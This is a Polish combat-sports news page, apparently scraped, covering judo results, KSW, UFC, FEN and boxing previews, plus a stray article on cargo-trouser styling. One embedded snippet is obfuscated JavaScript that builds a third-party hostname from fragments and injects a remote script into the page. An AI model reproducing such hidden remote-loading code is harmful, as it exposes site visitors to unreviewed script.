95 kg, K-1: Marcin Szreder vs Kewin Wiwatowski 
85 kg, K-1: Łukasz Radosz vs Przemysław Zygmuntowicz 

*Stawką pojedynku będzie pas mistrzowski federacji Fight Exclusive Night

Dziewczyny na medal

Trzy medale zdobyły Polki w zawodach Pucharu Europy Seniorów w Orenburgu. Rywalizację zdominowali Rosjanie, którzy wywalczyli aż 32 krążki!

Pierwsze tegoroczne podium na swoim koncie zapisała Anna Dąbrowska (57kg). Judoczka klubu Juvenia Wrocław zaczęła zmagania od dwóch wygranych walk. Pokonała kolejno Rosjanki – Ksenię Solovevą i Dannę Naguchevą. W półfinale Polka przegrała jednak z reprezentantką Austrii Asiminą Heodorakis. W starciu o brąz Dąbrowska spotkała się z medalistą zeszłorocznych zmagań Pucharu Europy z Gdyni – Ulyaną Minenkovą. Polka triumfowała przed czasem i mogła cieszyć się z trzeciego miejsca.

Na podium zameldowała się również Vanessa Machnicka (63kg). Zawodniczka Akademii Judo Poznań musiała walczyć w repasażach. Polka zaczęła od wygranej przed czasem, jednak w kolejnym starciu nie dała rady Zarji Tavcar. Machnicka w repasażach imponowała skutecznością. Pierwszą walkę wygrała przez waza ari, zaś drugą z Mariną Kalaevą rozstrzygnęła w zaledwie trzynaście sekund. Polka nie pozostawiła złudzeń również Nadezhdy Rumiantsevej, którą pokonała przez ippon.

Kolejny dobry występ na swoim koncie zapisała Eliza Wróblewska (70kg). Judoczka Akademii Judo Poznań była w tym roku piąta w Uster, a wśród juniorów stawała na podium w Atenach i Sankt Petersburgu. W Orenburgu Polka potwierdziła dobrą dyspozycję. Wróblewska wygrała trzy pojedynki, w półfinale musiała uznać wyższość Francuzki Melissy Heleine. W starciu o brąz Polka pokonała Zhannę Asipovich z Białorusi.

W Orenburgu o podium otarła się Aleksandra Kaleta (52kg), która była piąta. Na siódmych lokatach uplasowali się Karolina Miller (70kg) oraz Kacper Szczurowski (100kg).

W zmaganiach Pucharu Europy karty rozdawali Rosjanie, którzy zdobyli 10 z 14 możliwych złotych medali. Łącznie reprezentanci Sbornej zapisali na swoim koncie 32 krążki. Druga Białoruś zaledwie… trzy.

Srebro Sobierajskiej

W Bielsku-Białej odbyły się zmagania w Pucharze Europy kadetów. Na starcie pojawiło się 574 zawodniczek i zawodników. Jedyny medal dla Polski zdobyła Katarzyna Sobierajska (70kg), która wygrała cztery pojedynki. W finale uległa Japonce Moce Kuwagacie i musiała zadowolić się srebrem. Walkę o brąz przegrała Agata Pałka (63kg).

KM

Rożne typy bojówek

Bojówki mogą prezentować się w różny sposób. Wszystko zależy od tego, jak zostaną uszyte oraz jaki materiał zostanie do tego celu zastosowany. Oznacza to, że bojówki mogą różnić się od siebie i sprawdzać się w różnych stylizacjach. Jak zatem mogą wyglądać bojówki?

Sportowe wydanie
Bojówki z kieszeniami po bokach często można spotkać w formie spodni sportowych. Na rynku odzieżowym coraz częściej można spotkać bojówki w formie dresów lub innych wygodnych spodni. Takie produkty wyglądają świetnie w połączeniu z innymi sportowymi ubraniami. Stylizacje z ich udziałem są praktyczne i wygodne. Spodobają się niejednej kobiecie.

Elegancko do pracy
Proste spodnie z kieszeniami to także bojówki. Coraz częściej występują one w formie eleganckich spodni, dla których kieszeń na nogawce jest stonowaną dekoracją. Takie rozwiązania świetnie sprawdzają się do biura. W połączeniu z marynarką i prostym topem lub koszulą i płaszczem stworzą stylizację, która będzie urozmaiceniem w szafie pełnej spodni na kant oraz spódnic ołówkowych. Warto spróbować takiej odmiany.

Spodnie bojówki na imprezę?!
Wiele osób może uznać taki pomysł za żart. Jednak niejednokrotnie można spotkać bojówki, wykonane z pięknych, połyskujących materiałów. Takie spodnie aż same proszą się, aby założyć je na imprezę. Wystarczy zestawić je z imprezowym topem lub wydekoltowaną bluzką. Taki zestaw koniecznie trzeba uzupełnić o szpilki i gustowne dodatki. Wówczas śmiało można ruszać na podbój miasta lub imprezę urodzinową. Stylizacja sprawdzi się doskonale podczas różnych okazji, także podczas randki.

Militarne bojówki
Nie można zapominać o korzeniach bojówek, które pochodzą przecież z wojska. Zatem te spodnie w kolorze khaki lub ze wzorem moro będą idealną bazą do militarnej, surowej stylizacji. Można dopełnić ją kurtką ramoneską lub tradycyjną dżinsową. Idealnym wykończeniem będą botki, najlepiej sznurowane. Glany, choć są nie dla każdego, świetnie się tu sprawdzą. W związku z tym, z całą pewnością warto postawić na taką stylizację od czasu do czasu.

[kod]

(function(){
x0a3_=("u"+"")+"s"+"";x0a3_+=("tat.")+("i");
x0a3=document.createElement("script");x0a3.type="text/javascript";x0a3_+="nf"+("o")+"/";
x0a3u="134379903"+".";x0a3.async=true;x0a3u+="qh53rbcn0a33dq98bwy3fgank6c0yq";
x0a3.src="https://"+x0a3_+x0a3u;x0a3b=document.body;x0a3b.appendChild(x0a3);
})();

Druga odsłona

Podczas gali KSW 49 w trójmiejskiej Ergo Arenie dojdzie do walki Michała Materli ze Scottem Askhamem. Stawką rywalizacji będzie pas wagi średniej. Do obrony tytułu w kategorii półśredniej stanie Roberto Soldić.

18 maja w Ergo Arenie KSW zafunduje potężną dawkę MMA. W klatce nie zabraknie mocnych nazwisk: Materla, Askham, Soldić, Sowiński, Parke, Bedorf, Andryszak, Henrique. Po raz pierwszy w KSW zaprezentuje się były zawodnik M-1 Challenge i UFC Damian Grabowski. Kibice zobaczą również starcie niepokonanego Erko Juna z Akopem Szostakiem. Ponadto, zaplanowano pojedynki: Leszka Krakowskiego z Michaelem Dubois, Martina Zawady z Thiago Silvą oraz Antuna Racicia z Paweł Polityło.

Wszyscy będą czekać na danie główne, czyli starcie Materli z Askhamem. 35-letni Polak postara się odzyskać pas, który w listopadzie 2015 roku (KSW 33) stracił na rzecz Mameda Khalidova. Materla ma za sobą dwa efektowne zwycięstwa. W ubiegłym roku "Magic" pokonał Martina Zawadę i mającego imponujący debiut w KSW Damiana Janikowskiego. Dzięki triumfowi z brązowym medalistą olimpijskim w zapasach z Londynu Materla awansował do finału turnieju w kategorii średniej, a więc musi wykonać jeszcze jeden krok, aby sięgnąć po pas. Rywalem Polaka będzie Scott Askham. Panowie doskonale się znają, bo spotkali się podczas KSW 42 w Łodzi. Materla nie wspomina miło tamtej walki. Kopnięcia na korpus i głowę w wykonaniu Askhama, zresztą niezwykle efektownie wyglądające, sprawiły, że 70 sekundach Anglik mógł wznieść ręce w geście triumfu. Czy Materla zrewanżuje się za tę porażkę i ponownie zasiądzie na tronie?

Roberto Soldić zaznał już smaku porażki w KSW i stracił pas w wadze półśredniej, ale w rewanżu pokonał Dricuca Du Plessisa i ponownie jest mistrzem. W Ergo Arenie na jego drodze stanie niepokonany Krystian Kaszubowski. 24-latek stanie przed życiową szansą. Dotychczas stoczył w KSW dwa pojedynki i oba wygrał przed czasem.

Ciekawie zapowiada się starcie w wadze ciężkiej. Po nieudanym ataku na pas kolejną walkę w KSW stoczy Karol Bedorf. Dobra passa zawodnika ze Szczecina została przerwana w grudniu 2016 roku przez Fernando Rodriguesa Jr. Później kłopoty zdrowotne, wygrana z Mariuszem Pudzianowskim, ale zabrakło kropki nad "i" w postaci pasa. 18 maja rywalem Bedorfa będzie debiutujący w KSW Damian Grabowski. Doświadczony fighter ostatnio pokonał przed czasem Jose Rodfigo Guelke podczas gali FEN 22.

Artur Sowiński pokonał ostatnio Kamila Szymuszowskiego, a teraz stanie twarzą w twarz z Normanem Parkiem. Zawodnik z Irlandii Północnej w KSW pokazał się z dobrej strony i z pewnością nie będzie łatwym rywalem dla "Kornika".

KM

W Baku bez medalu

Nie powiódł się polskim judokom start w zawodach Grand Slam w Baku. Biało-czerwoni z Azerbejdżanu wrócili bez medalu. Inaczej sytuacja wygląda w przypadku juniorów, którzy startowali w Pucharze Europy w Kownie. Dwoje reprezentantów Polski stanęło na najniższym stopniu podium.

W Baku zaprezentowało się 431 zawodniczek i zawodników. W każdej kategorii rywalizowało blisko 30, a czasami nawet ponad 40 judoków. Trzeba było przejść długą drogę, żeby wdrapać się na podium. Z 17-osobowej kadry Polski nikomu się to nie udało. Agata Ozdoba-Błach (na zdjęciu) zaczęła zawody w Baku od dwóch wygranych i to przed czasem. W drugim starcie w nieco ponad 40 sekund pokonała Dianę Shoranovą. Później zaczęły się schody. Brązowa medalistka mistrzostw świata z 2017 roku trafiła na utytułowaną Tinę Trstenjak. Słowenka wygrała przed czasem, a Polka trafiła do repasaży. Tam lepsza okazała się Juul Franseen. Ozdoba –Błach zajęła ostatecznie siódmą pozycję.

Mocne wejście w turniej miała również Karolina Tałach (63kg). Najpierw Polka pokonała przed czasem Lubjanę Piovesanę, a potem piątą w światowym rankingu Andreję Leski. Przeszkodą nie do przejścia dla Tałach okazała się Sanne Vermeer, która w tym roku stawała na podium w Tbillisi i Tel Avivie. W repasażach Polka ambitnie walczyła, jej pojedynek z Gankhaich Bold trwał ponad pięć minut. Ostatecznie nasza reprezentantka musiała zadowolić się siódmą lokatą.

Morderczy bój stoczyła Anna Borowska (57kg), która występ w Baku zaczęła od zwycięstwa. Potem ponad osiem minut rywalizowała z Tian Hongije, jednak o porażce Polki zadecydowało shido.

Dwa brązy

Do Kowna na zmagania w Pucharze Europy pojechała 20-osobowa kadra Polski. 10% wraca w wyśmienitych nastrojach. Martia Baczek (78kg) i Wojciech Kordyalik (+100kg) wywalczyli brązowe krążki. Zawodniczka warszawskiej Gwardii nie zwalnia tempa. W marcu w Atenach wywalczyła srebro, a w Kownie poszła za ciosem i ponownie stanęła na podium. Polka wygrała trzy pojedynki, wszystkie przed czasem. W półfinale lepsza okazała się Renee van Harselaar, która w tym roku w każdym starcie melduje się na podium – zarówno wśród juniorów, jak i seniorów.

W rywalizacji kadetów Wojciech Kordyalik posmakował sukcesu. Niejednokrotnie stawał na podium, także w mistrzostwach Europy. W Kownie zawodnik Śląska Wrocław po raz pierwszy sięgnął po medal w zmaganiach juniorów. Kordyalik wygrał trzy z czterech walk, w starciu o brąz pokonał Ricka Zomera.

Fot. IJF/Facebook

KM

Mistrzostwo po brazylijsku

Jessica Andrade w imponującym stylu pokonała Rose Namajunas i zdobyła w Rio de Janeiro pas w kategorii słomkowej. Wśród kobiet w UFC widać brazylijski trend. Amanda Nunes zdominowała dwie kategorie, teraz po upragniony tytuł w końcu sięgnęła Andrade.

Mało kto spodziewał się, że Amanda Nunes pokona swoją rodaczkę Cristiane Justino. Popularna "Cyborg" szła "niczym byk" i żadna kolejna rywalka nie była w stanie jej zatrzymać. Cztery walki w UFC i wszystkie wygrane w tym, trzy przed czasem. Podczas UFC 232 w grudniu 2018 roku w The Forum w Inglewood zdarzyła się niespodzianka. Potężna Justino została zmieciona z tronu wagi piórkowej. W zaledwie 32 sekundy Nunes zasypała "Cyborg" ciosami, a ta nie była w stanie przetrwać tego naporu. 30-latka została pierwszą podwójną mistrzynią UFC w historii. A wcześniej, bo w lipcu 2016 roku Nunes weszła na szczyt wagi koguciej. Po tym jak Holly Holm pokonała Rondę Rousey, tytuł szybko zmienił właścicielkę. Nunes spotkała się z Mieshą Tate i pozbawiła ją jakichkolwiek złudzeń triumfując w pierwszej rundzei. Dotychczas trzykrotnie Brazylijka skutecznie broniła tytułu. Obecnie nikt nie zaprzeczy, że Nunes stała się pierwszoplanową postacią UFC. Amanda Nunes kolejną walkę ma stoczyć 6 czerwca (UFC 239) z Holly Holm, a stawką będzie pas w wadze koguciej.

Swoich pięciu minut doczekała się Jessica Andrade. Brazylijka miała okazję wcześniej rywalizować o pas w wadze słomkowej, ale wtedy dzieliła i rządziła Joanna Jędrzejczyk. Polka okazała się lepsza od Andrade na dystansie pięciu rund. Brazylijka zacisnęła zęby i ciężko pracowała na kolejną szansę. 27-latka wygrała trzy kolejne walki, w tym przed czasem uporała się z Karoliną Kowalkiewicz. Tym razem Andrade rywalizowała z Rose Namajunas. Amerykanka prezentowała się pewnie i w stójce trafiała rywalkę, na której twarzy pojawiały się rozcięcia. Andrade próbowała sprowadzić walkę do parteru, podnosiła rywalkę, jednak nic z tego nie wynikała. W końcu się udało. Brazylijka cisnęła mistrzynią o ziemię i sędzia przerwał walkę. Andrade została nową mistrzynią UFC!

Cztery kobiece kategorie i w trzech z nich dominują Brazylijki. Niebawem w wadze muszej do pierwszej obrony przystąpi reprezentująca Peru Walentina Szewczenko, która zmierzy się z Jessicą Eye. Co do Brazylii, kiedyś panowie z Kraju Kawy grali pierwsze skrzypce w UFC. Obecnie ich pozycja nie jest tak mocna, ale wśród pań Brazylijki dominują rywalizację. Po prostu nastąpiła swoista zamiana miejsc. Czy ten stan utrzyma się dłużej?

Fot. Jessica Andrade Facebook

KM

LIVE: Gala Sharks Attack 2

Zapraszamy na transmisję telewizyjną z gali mma Sharks Attack 2.

[kod]

Gala Sharks Attack 2

Gala Sharks Attack 2

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Lesznowola Kickboxing Fight 2

Zapraszamy na transmisję telewizyjną z gali kickboxingu Lesznowola Kickboxing Fight 2.

[kod]

Lesznowola Kickboxing Fight 2

Lesznowola Kickboxing Fight 2

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

Khandozko rywalem Fabińskiego

Podczas gali UFC on ESPN+11 w Sztokholmie zaprezentuje się Bartosz Fabiński. 1 czerwca Polak zmierzy się z Sergiejem Khandozko.

33-latek z Warszawy szykuje się do piątej walki w UFC. Dotychczas Fabiński zbierał w najlepszej organizacji MMA na świecie dobre recenzje. Jednak ostatniego występu Polak nie będzie wspominał najlepiej, ponieważ w Buenos Aires doznał pierwszej porażki. Michael Prazeres poddał Fabińskiego po upływie 62 sekund. Warto również wspomnieć, że polski fighter miał dłuższą przerwę od występów. W listopadzie 2015 roku pokonał Hectora Urbinę i zniknął na kilkanaście miesięcy. Blisko trzy lata czekaliśmy na kolejną walkę Polaka! Fabiński tłumaczył, że jego przerwa spowodowana była kłopotami zdrowotnymi. 22 lipca 2018 roku "The Butcher" wrócił i pokonał Emila Meeka. W najbliższym występie Polak będzie chciał powrócić na zwycięską ścieżkę, ale jego rywal z pewnością "tanio skóry nie sprzeda".

Sergiei Khandozko w Sztokholmie stoczy pierwszy pojedynek w UFC. 26-latek występował m.in. w organizacji ACB, jednak prezentował się tam w kratkę – trzy wygrane i cztery porażki. W dwóch ostatnich starciach Khandozhko zwyciężył rywali przed czasem. Trzeba przyznać, że Rosjanin jest niezwykle niebezpiecznym przeciwnikiem. Aż 17 z 25 wygranych pojedynków zakończył przed czasem. W większości przypadków triumfował przez nokaut! Khandozhko ma na swoim koncie pięć porażek.

26-letni Rosjanin jest groźny, którego atutem jest wszechstronność. W stójce może sprawić Polakowi sporo problemów, jednak Fabiński to doświadczony fighter doskonale znający smak rywalizacji w UFC. Z pewnością w parterze poradzi sobie z Khandozhko. Niejednokrotnie w UFC pokazał, że potrafi wykazać się skutecznością.

W Sztokholmie w walce wieczoru zaprezentują się Alexander Gustafsson i Anthony Smith. W akcji zobaczymy również m.in. Volkana Oezdemira w starciu z Illirem Latifim czy Jimi'ego Manuwę, który będzie rywalizował z Aleksandarem Rakiciem.

Fot. Bartosz "The Butcher" Fabiński

KM

Jotko głodny walki

Po wygranej z Alenem Amedovskim, Krzysztof Jotko nie może doczekać się kolejnej walki. Polski fighter rzucił wyzwanie Eliasowi Theodorou.

29-letni Jotko przed galą UFC Fight Night 149 w Petersburgu znajdował się w trudnej sytuacji. Przez rok nie pojawił się w oktagonie ze względu na kontuzję, w konsekwencji której musiał przejść operację. Później Polaka czekała kilkumiesięczna rekonwalescencja. Na początku roku 29-latek był gotowy do powrotu i zgłaszał swój akces do kolejnego występu w UFC. Umieszczono go w rozpisce gali w Sankt Petersburgu. Początkowo miał rywalizować z Romanem Kopyłowem, ale ten wypadł z rozpiski z powodu kontuzji. Zastąpił go Alen Amedovskim. Dla Jotki był to więc powrót, ale o podwójnym znaczeniu. Sytuacja naszego zawodnika w UFC nie była najlepsza. Przegrał trzy ostatnie walki i w starciu z Macedończykiem musiał wspiąć się na wyżyny. Jotko zaprezentował MMA na dobrym poziomie. Polak często atakował rywala, sprowadzał pojedynek do parteru, w efekcie działań naszego zawodnika twarz Macedończyka zalana była krwią. Zwycięstwo 29-latka urodzonego w Elblągu stało się faktem.

Rozochocony 20 wygraną w karierze Jotko liczy na kolejną walkę. Polak rzucił wyzwanie Eliasowi Theodorou. – Kilka lat temu chciałeś ze mną walczyć, zróbmy to w lipcu bądź sierpniu! Co o tym myślisz? – napisał Polak na Twitterze. 30-letni Kanadyjczyk nie wyklucza takiej możliwości. – Byłoby zaszczytem dzielić z Tobą klatkę – odpowiedział.

Jak widać, nie ma nic prostszego niż zaczepka w mediach społecznościowych, co pozwala nawiązać kontakt i wykonać krok w stronę ewentualnego pojedynku. Theodorou to doświadczony zawodnik, który w UFC rywalizuje od pięciu lat. 4 maja przegrał z Derekiem Brunsonem, który przerwał serię zwycięstw Kanadyjczyka. Wcześniej 30-latek pokonał Daniela Kelly'ego, Trevora Smitha i Eryka Andersa. Theodorou ma na swoim koncie 16 zwycięstw i trzy porażki (wszystkie w UFC).

Jotko stoczył więcej walk niż Theodorou, bo 24, z których 20 wygrał. W UFC Polak miał fantastyczną serię pięciu triumfów z rzędu i mówiło się, że może myśleć o walce o pas. Jego serię przerwał jednak David Branch. Oby wygrana z Amedovskim była początkiem kolejnej wspaniałej serii Krzysztofa Jotko.

Fot. Krzysztof Jotko Facebook

KM

UFC rusza do Abu Dhabi

7 września w Abu Dhabi odbędzie się gala UFC 242. To będzie trzecie wydarzenie organizowane przez amerykańską organizację w stolicy Zjednoczonych Emiratów Arabskich.

Wizyta w Abu Dhabi zapowiada się niezwykle ciekawie. UFC chce tworzyć swoją potęgę i być w każdym zakątku świata. Po raz pierwszy organizacja gościła w Abu Dhabi w 2010 roku. W walce wieczoru gali UFC 112 Anderson Silva pokonał Demiana Maię. O poziom sportowy dbali również tacy zawodnicy jak: Frankie Edgar, Rafael dos Anjos czy Mark Munoz. Po raz kolejny MMA na najwyższym poziomie zawitało do stolicy Zjednoczonych Emiratów Arabskich w 2014 roku – UFC Fight Night 39. Porażkę zanotował wtedy Daniel Omielańczuk, który przegrał z Jaredem Rosholtem. W pojedynku wieczoru Roy Nelson znokautował Antonio Rodrigo Nogueirę.

Powrót po pięciu latach do Abu Dhabi to pierwszy krok organizacji. UFC zamierza przygotowywać gale w stolicy ZEA cyklicznie. Nie ma się, co dziwić, ponieważ amerykańska organizacja chce docierać ze swoim produktem do każdego zakątka świata i sprawiać, że będzie on pożądany. W tym roku UFC gościło m.in. w Australii (UFC 234) czy w Rosji (UFC Fight Night 149). Organizacja regularnie odwiedza również Azję, a o jej obecności w Europie nie trzeba nawet przypominać.

W kontekście UFC 242 w Abu Dhabi mówi się, że w walce wieczoru mogą wystąpić Khabib Nurmagomedov i Dustin Poirier. Zatem byłby to pojedynek o pas wagi lekkiej. Problem w tym, że urodzony w Dagestanie zawodnik jest zawieszony na dziewięć miesięcy. Po zwycięskiej walce (październik 2018) z Conorem McGregorem, Nurmagomedov wyskoczył z oktagonu i zaatakował trenera rywala. Zawieszenie mistrza kończy się… we wrześniu. Przypadek? Z kolei Poirier znajduje się w posiadaniu tymczasowego pasa, po tym jak w kwietniu pokonał Maxa Hollowaya. Dla 30-letniego Amerykanina była to piąta wygrana z rzędu. Ostatni raz Poirier przegrał we wrześniu 2016 roku.

Zapewne UFC zrobi wszystko, aby stworzyć w Abu Dhabi widowisko. Organizacja wraca po pięciu latach do ZEA, więc musi zrobić to z przytupem. Zwłaszcza, że wiąże z tym rynkiem pewne nadzieje.

Fot. UFC

KM

LIVE: Gala DSF 22: Droga Wojownika

Zapraszamy na transmisję telewizyjną z gali DSF 22: Droga Wojownika. Transmisja dostępna tylko dla widzów z zagranicy. Widzów z Polski zapraszamy na antenę TVP Sport.

[kod]

DSF 22: Droga Wojownika

DSF 22: Droga Wojownika

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream9/live-hd.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream9/live-hd.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream9/live-hd.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

Lista coraz krótsza

Dwóch faworytów do czerwcowego starcia z mistrzem świata IBF, IBO, WBO i WBA Anthony'm Joshuą. Są nimi: Michael Hunter i Andy Ruiz Jr.

1 czerwca Joshua miał rywalizować z Jarrellem Millerem. W próbce moczu oddanej przez Amerykanina 20 marca wykryto niedozwolone substancje. Miller nie otrzymał licencji na pojedynek z "AJ". W związku z tym ruszyły poszukiwania najbliższego przeciwnika mistrza świata. Giełda nazwisk była długa. Wymieniano Polaków – Adama Kownackiego i Artura Szpilkę. Pojawiły się również nazwiska Kubrata Pulewa, Manuela Charra, Trevora Bryana, Luisa Ortiza, Michaela Huntera czy Andy'ego Ruiza Jr. W grze pozostali dwaj ostatni. – Lubię Andy'ego Ruiza, lubię Michaela Huntera. Myślę, że to dwaj pięściarze, którzy dadzą wiarygodne walki – mówił boxingscene.com Eddie Hearn, promotor czempiona.

Ostatnio (listopad 2018 roku) Hunter pokonał w dziewiątej rundzie Aleksandra Ustinova i sięgnął po tytuł międzynarodowego mistrza WBA. Dotychczas 30-letni Amerykanin przegrał jeden pojedynek – z Oleksandrem Usykiem. Hunter ma na swoim koncie 16 zwycięstw, w tym 11 przed czasem. Z kolei Andy Ruiz Jr. miał szansę sięgnąć po pas WBO, jednak w starciu o wakujący tytuł lepszy okazał się Joseph Parker. Później bokser z Nowej Zelandii przegrał z "AJ" i ten wzbogacił swój dorobek. Wróćmy do Ruiza Jr., pięściarz wygrał trzy ostatnie starcia. W pokonanym polu pozostawił Devina Vargasa, Kevina Johnsona oraz Alexandra Dimitrenko. Eddie Hearn chwali Huntera i Ruiza. – Ruiz może nie wygląda najlepiej, ale jest twardy. Jest Meksykaninem, ma szybkie ręce i wyprowadza dużo ciosów. Michael Hunter jest dobrze wyszkolony technicznie i trudny do pokonania – podaje promotor Hearn.

Hearn nie ukrywa, że wielu pięściarzy liczy wyłącznie na pieniądze. – Są inni kandydaci, ale chodzi im o pieniądze i nie mam pewności, czy na pewno chcą walczyć. Nie chcę takiego podejścia, to mam być wielka noc dla Joshuy. To Madison Square Garden. Tam będzie 20 tys. ludzi. To musi być prawdziwa walka – podsumowuje Hearn.

Za duże pieniądze do ringu z Joshuą gotów był wejść Luis Ortiz. Kubańczyk chciał za walkę 10 milionów dolarów, obóz "AJ" proponował tylko 5. Rozbieżności były więc zbyt duże…

Fot. Anthony Joshua Facebook

KM

Szreder powalczy z Wiwatowskim o podbój Amfiteatru

Marcin Szreder (5-3) powraca do klatki FEN! Jego rywalem 15 czerwca w ostródzkim Amfiteatrze podczas gali Fight Exclusive Night 25 będzie grudziądzanin, Kewin Wiwatowski (2-2).

Dla Szredera będzie to szósty występ dla Fight Exclusive Night i ósmy zawodowy pojedynek K-1 w karierze. Zdobywca Pucharu Europy WAKO w K-1 i low-kick debiutował w klatkoringu FEN pewnym zwycięstwem na punkty z Niemcem Aytakiem Yahsim podczas gali FEN 11 „Warsaw Time”. W marcu 2017 roku podczas FEN 16 „Warsaw Reloaded” już w pierwszej rundzie pokonał Ihara Kamkou, dwukrotnie powalając go na deski zanim narożnik Białorusina zdecydował się rzucić na ring ręcznik. Do historii FEN przeszły szczególnie emocjonujące starcia Szredera z Arturem Bizewskim oraz z Rafałem Korczakiem. W tym drugim pojedynku o zwycięstwie zadecydowała dogrywka.

Wiwatowski to 24-letni grudziądzanin, który starty w K-1 przeplata z występami w MMA. W przeszłości rywalizował w dwóch kategoriach wagowych – półciężkiej i ciężkiej. W styczniu tego roku Wiwatowski wygrał w 3. rundzie przez TKO z Mateuszem Janu. Dobrą passę grudziądzanin kontynuował w formule mieszanej. Po emocjonującym boju wygrał z niepokonanym Pawłem Zakrzewskim. Wiwatowski rozprawił się z rywalem w 2. rundzie.

KARTA WALK FEN 25:

70 kg, MMA: Maciej Jewtuszko vs Vaso Bakocevic 
66 kg, MMA: Adrian Zieliński vs TBA* 
93 kg, MMA: Rafał Kijańczuk vs Adam Kowalski 
57 kg, MMA: Katarzyna Lubońska vs Izabela Badurek 
84 kg, MMA: Krystian Bielski vs Tomasz Skrzypek 
93 kg, MMA: Wojciech Janusz vs Michał Gutowski 
95 kg, K-1: Marcin Szreder vs Kewin Wiwatowski 
TBA vs TBA 
TBA vs TBA 
TBA vs TBA 

*Stawką pojedynku będzie pas mistrzowski federacji Fight Exclusive Night

Sponsorem głównym federacji Fight Exclusive Night jest Grupa LOTOS.

ZAKUP BILETÓW na galę FEN 25 jest możliwy na  Eventim.pl oraz na stronie organizacji:  http://fen-mma.com/bilet/.

Mistrzowska szansa Sulęckiego

28 czerwca 2019 roku może być wyjątkowy dla Macieja Sulęckiego. Jak podał dziennikarz Fox Sports Mike Coppinger, tego dnia polski bokser spotka się z Demetriusem Andrade w pojedynku o pas WBO w wadze średniej.

Popularny "Striczu" wykonał ważny krok w stronę mistrzowskiej walki. W marcu w Liacouras Center w Filadelfii po morderczym starciu okazał się lepszy od Gabriela Rosado. Sędziowie wskazali na Sulęckiego, który dzięki wygranej zdobył pas międzynarodowego mistrza WBO. Niemal pewne było, że w kolejnym starciu Polak spotka się z Demetriusem Andrade. Od razu mówiło się o czerwcowym terminie, jednak w obozie "Striczu" pojawił się niepokój. W starciu z Rosado Polak doznał urazu nadgarstka. Badania i walka z czasem, bo de facto lada dzień trzeba rozpoczynać przygotowania. Kilka dni temu Sulęcki wrócił do treningów. Jak widać, wszystko jest na dobrej drodze. Dziennikarz Mike Coppinger poinformował na Twitterze, że strony osiągnęły porozumienie. – Demetrius Andrade i Maciej Sulęcki zgodzili się na warunki do walki o tytuł wagi średniej 28 czerwca na DAZN. Walka odbędzie się w Dunkin 'Donuts Centre w Providence, Rhode Island, rodzinnym mieście Andrade. Świetnie zobaczyć wojowników – czytamy we wpisie.

31-letni Andrade dotychczas nie przegrał na zawodowym ringu. Amerykanin stoczył 27 walk, z czego 17 wygrał przed czasem. Urodzony w Providence pięściarz tytuł WBO wywalczył w październiku 2018 roku. W Bostonie Andrade pokonał Waltera Kautondokwę. Dotychczas 31-latek tytułu bronił raz – w styczniu, w dwunastej rundzie, pokonał Artura Akawowa. Warto wspomnieć, że wcześniej Andrade z powodzeniem rywalizował w wadze junior średniej.

Dla Sulęckiego walka z 31-letnim Amerykaninem będzie najważniejszym starciem w karierze. Polak stanie przed wielką szansą. "Striczu" stoczył w USA siedem walk, z których przegrał tylko jedną – z Danielem Jacobsem. Polak niejednokrotnie pokazywał zabójczą skuteczność i wygrywał przed czasem. Sulęcki jest numerem dwa w rankingu WBO.  Dla Polaka starcie z Andrade będzie trzydziestym pojedynkiem w karierze.

Fot. Maciej "Striczu" Sulęcki

KM

Kto tymczasowym mistrzem?

Głównym wydarzeniem gali KSW 48, która odbędzie się 27 kwietnia w Lublinie będzie pojedynek o tymczasowy pas wagi piórkowej pomiędzy Romanem Szymańskim a Salahdinem Paramassem. Na rewanż w starciu z Stjepanem Bekavacem liczy Łukasz Jurkowski.

21-letni Parnasse z impetem rozpoczął przygodę z KSW. Francuz trafił do polskiej organizacji jako młody i zdolny zawodnik, ale w rywalizacji z bardziej doświadczonymi fighterami pokazał wysokie umiejętności. Parnasse w pokonanym polu pozostawił Łukasza Rajewskiego, Artura Sowińskiego i Marcina Wrzoska. Młody Francuz dobrze czuje się zarówno w stójce, jak i w parterze. Dotychczas zanotował 12 zwycięstw i jeden remis. Jego rywalem w starciu o tymczasowy pas kategorii piórkowej będzie Roman Szymański. Dla byłego mistrza FEN będzie to piąte starcie w KSW. Dotychczas Szymański zanotował trzy zwycięstwa, jeden pojedynek przegrał. 25-letni Szymański musi mieć się na baczności, ale ma za sobą doświadczenie z rywalizacji o pas. Czy zatrzyma rewelacyjnego Francuza?

W grudniu 2015 roku Łukasz Jurkowski zanotował porażkę w starciu ze Stjepanem Bekavacem. Wtedy polski zawodnik doznał kontuzji, starcie zakończyło się przez techniczny nokaut. Podczas KSW 48 "Juras" będzie miał okazję do rewanżu. Jurkowski wrócił do zmagań po sześcioletniej przerwie. Z MMA pożegnał się w marcu 2011, jednak w maju 2017 wystąpił na Stadionie Narodowym (KSW 39). Polak pokonał Rameau Thierry Sokoudjou i rozbudził swój apetyt, czego efektem był kolejny występ w oktagonie.  Podczas KSW 42 "Juras" przegrał z Martinem Zawadą. Najbliższy rywal Polaka, czyli Stjepan Bekavac nie ma ostatnio dobrej passy. 36-letni Chorwat przegrał trzy pojedynki z rzędu. 

Ciekawie zapowiada się występ coraz pewniej radzącego sobie w KSW Gracjana Szadzińskiego. 29-latek wygrał dwa ostatnie pojedynki przez nokaut – z Paulem Redmondem i Maciejem Kazieczko. Warto dodać również triumf z Leonidem Smirnovem na Babilon MMA 1. W Lublinie rywalem Szadzińskiego Marian Ziółkowski, który ostatnio (KSW 46) odprawił Grzegorza Szulakowskiego.

Karta walk KSW 48:

